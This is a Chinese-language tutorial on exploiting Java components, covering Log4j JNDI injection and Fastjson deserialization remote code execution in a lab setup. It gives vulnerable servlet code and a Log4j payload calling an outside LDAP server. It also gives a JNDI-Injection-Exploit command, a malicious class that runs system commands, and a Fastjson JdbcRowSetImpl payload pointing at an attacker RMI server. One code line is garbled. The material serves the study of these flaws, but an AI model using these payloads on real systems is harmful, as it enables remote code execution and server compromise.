1、JavaEE-组件安全-Log4j
2、JavaEE-组件安全-Fastjson
3、JavaEE-基本了解-JNDI-API
➢Java-三方组件-Log4J&JNDI
➢Java-三方组件-FastJson&反射
https://mvnrepository.com/
https://www.jb51.net/article/259780.htm
1、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。
2、反序列化常用的两种利用方式,一种是基于RMI,一种是基于ldap。
3、RMI是一种行为,指的是Java远程方法调用。通过 RMI,对象的方法可以在远程 JVM 上被调用。
4、LDAP指轻量级目录服务协议。LDAP 主要用于访问目录服务,这是一种树形结构的数据库,用于组织和存储信息。
原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入。
Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。
InitialContext
)。${jndi:ldap://47.94.236.117:1389/uyhyw6}
FastJson JNDI 注入漏洞(JSON ):
- FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
- 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。
- 攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
- 远程代码执行:
- 由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。
Log4J:日志管理
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
本地简单实现
Log4jTest.java
文件,导入引入的第三方Log4j相关包
LogManager.getLogger
获取一个 Logger 实例,然后使用 Logger.error
记录错误日志。Logger.error("{}", code);
中,code
的值是 ${java:os}
。这是 Log4j 的变量替换语法,其中 ${java:os}
表示执行 Java 系统属性(在这里是执行系统命令)。如果 code
的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。<dependencies>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-coreartifactId>
<version>2.14.1version>
dependency>
**import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;**
public class Log4jTest {
// 创建 Logger 实例
private static final Logger Logger = LogManager.getLogger(Log4jTest.class);
public static void main(String[] args) {
**// 潜在的安全风险:使用不受信任的数据作为日志消息
String code = "${java:os}";
// 将不受信任的数据作为日志消息传递给 Logger.error
Logger.error("{}", code);**
}
}
潜在的安全风险:直接使用用户输入构造日志消息
1、开发源码中引用漏洞组件如log4j
2、开发中使用组件的代码(触发漏洞代码)
3、可控变量去传递Payload来实现攻击
Payload通常指的是一段恶意代码或指令,旨在利用漏洞或实施攻击。
@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
private static final Logger Logger = LogManager.getLogger(Log4jServlet.class);
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 从请求中获取名为 "code" 的参数
String code = req.getParameter("code");
// 记录日志,潜在的安全风险:直接使用用户输入
Logger.error("{}", code);
}
}
遇到问题:HTTP Status 400 – 错误的请求描述 由于被认为是客户端对错误(例如:畸形的请求语法、无效的请求信息帧或者虚拟的请求路由),服务器无法或不会处理当前请求
原因:
是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误,
这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中,所以会报这个错。
解决方式:修改Tomcat配置server.xml
<Connector port="8080" protocol="HTTP/1.1"
relaxedQueryChars="[]|{}^\`"<>"
connectionTimeout="20000"
redirectPort="8443" /
- code=$(java:os) 输出执行结果:显示系统
- code=(java:os) 正常输入正常输出:(java:os)
- ${jndi:ldap://47.94.236.117:1389/uyhyw6}
- ${jndi:ldap://xxxx.dns.log}
- ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
- 什么方法? -A “calc” 执行计算机的功能方法(JNDI注入工具生成的)
Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_log4j rce jndi-CSDN博客
Test:
String code=“test”;
String code=“ j a v a : o s " ; l o g g e r . e r r o r ( " " , c o d e ) ; S t r i n g e x p = " {java:os}"; logger.error("{}",code); String exp=" java:os";logger.error("",code);Stringexp="{jndi:ldap://xx.xx.xx.xx:xx/xxx}”;
服务器:
java -jar JNDI-Injection-Exploit.jar -C “calc” -A xx.xx.xx.xx
FastJson:可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
package com.wusuowei;
//给fastjson数据转换测试用的
public class User {
private String name;
private Integer age;
public Integer getAge() {
return age;
}
public String getName() {
return name;
}
public void setAge(Integer age) {
this.age = age;
System.out.println(age);
}
public void setName(String name) {
this.name = name;
System.out.println(name);
}
}
//使用fastjson去处理User类数据
public class FastjsonTest {
public static void main(String[] args) {
//u Object对象
//Integer age String name 字符串数据
User u = new User();
u.setAge(30);
u.setName("xiaodi");
// System.out.println(u);
//上述对象 -> JSON
//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
//我就选择第三方组件fastjson来去做这个功能
//讲json对象转换json数据
String jsonString = JSONObject.toJSONString(u);
System.out.println("这就是json格式:"+jsonString);
}}
//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
实战中com.wusuowei.Run 我们不知道 固定调用
rmi ldap 去触发远程的class 执行代码(RCE)
package com.wusuowei;
import java.io.IOException;
public class Run {
public Run() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
JSON.parseObject(test)
将test
字符串进行反序列化,并将其转换为一个JSONObject
对象。JSONObject
是Fastjson库中表示JSON对象的类。//下面JSON -> 对象
String test = "{\"@type\":\"com.wusuowei.User\",\"age\":30,\"name\":\"xiaodi\"}";
String test1 = "{\"@type\":\"com.wusuowei.Run\",\"age\":30,\"name\":\"xiaodi\"}";
//实战中com.xiaodi.Run 我们不知道 固定调用
//rmi ldap 去触发远程的class 执行代码(RCE)
JSONObject jsonObject = JSON.parseObject(test);
System.out.println("这就是json转换为对象的格式:"+jsonObject);
JSONObject jsonObject1 = JSON.parseObject(test1);
System.out.println("这就是json转换为对象的格式:"+jsonObject1);
服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891
流程如下:
- 开启HTTP服务器并放置恶意类:
- 攻击者首先启动一个 HTTP 服务器,并在其中放置
Factory
类包含恶意类的文件或 JAR 文件。这些文件包含了攻击者想要远程加载并执行的恶意代码。- 开启恶意RMI服务器:
- 攻击者启动一个恶意的 RMI 服务器,该服务器可能包含一个特殊的远程对象,其目的是在远程加载时执行恶意代码。
- 攻击者控制URL参数为恶意RMI服务器地址:
- 攻击者通过抓包并修改请求方式,将**数据源的 RMI URL,指向一个
Factory
的远程对象—RMI服务器制定远程加载类Factory.class
的地址,**使目标系统的应用程序使用了特定的 URL 参数,该参数指向攻击者控制的恶意 RMI 服务器地址。- 恶意RMI服务器返回ReferenceWrapper类:
- 当目标系统执行 JNDI 的
lookup
操作时,攻击者的恶意 RMI 服务器返回一个特殊的对象,可能是ReferenceWrapper
类的实例。- 目标执行lookup操作,将ReferenceWrapper变成Reference类:
- 目标系统的代码(可能是
JNDI_Client
类)在执行lookup
操作时,通过自定义的decodeObject
方法将ReferenceWrapper
对象变成Reference
类的实例。- 在这个过程中,可能涉及到远程类加载,将攻击者准备的
Factory
类加载到目标系统中。- 远程加载并实例化Factory类,触发静态代码片段中的恶意代码:
- 在将
Reference
类实例化时,可能触发了Factory
类的静态初始化块,其中包含攻击者准备的恶意代码。- 这样,攻击者成功在目标系统上执行了远程加载并触发了恶意代码。
搭建靶场(目标)
搭建恶意站点(攻击机)
编写恶意代码TouchFile.java(创建文件)
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
// 获取运行时对象
Runtime rt = Runtime.getRuntime();
**// 定义执行的命令
String[] commands = {"touch", "/tmp/EDI"};
// 执行命令
Process pc = rt.exec(commands);**
// 等待进程执行完成
pc.waitFor();
} catch (Exception e) {
// 异常处理,这里仅打印异常,没有进一步处理
e.printStackTrace();
}
// 静态初始化块结束
}
// 类定义结束
}
javac TouchFile.java
编译一下,生成TouchFile.class
.
开启http访问(http://192.168.8.14:8888/)
开启RMI服务
burp抓包目标靶机
修改请求方式为POST Content-Type改成application/json,
写入exp,然后发送请求。
进行替换
"b": {
// 这是一个表示离线行集的类,通常与 JDBC 一起使用。
**//DBC RowSet是Java中用于操作数据库结果集的一种方式,它提供了一种离线的、可序列化的结果集对象。
"@type": "com.sun.rowset.JdbcRowSetImpl",
// 这指示数据源的 RMI URL,指向一个 TouchFile 的远程对象。
"dataSourceName": "rmi://192.168.8.14:9999/TouchFile",**
// 自动提交设置为 true
"autoCommit": true
}
进入docker容器中查看已在tmp目录下创建EDI文件
原文链接:https://blog.csdn.net/guo15890025019/article/details/120532891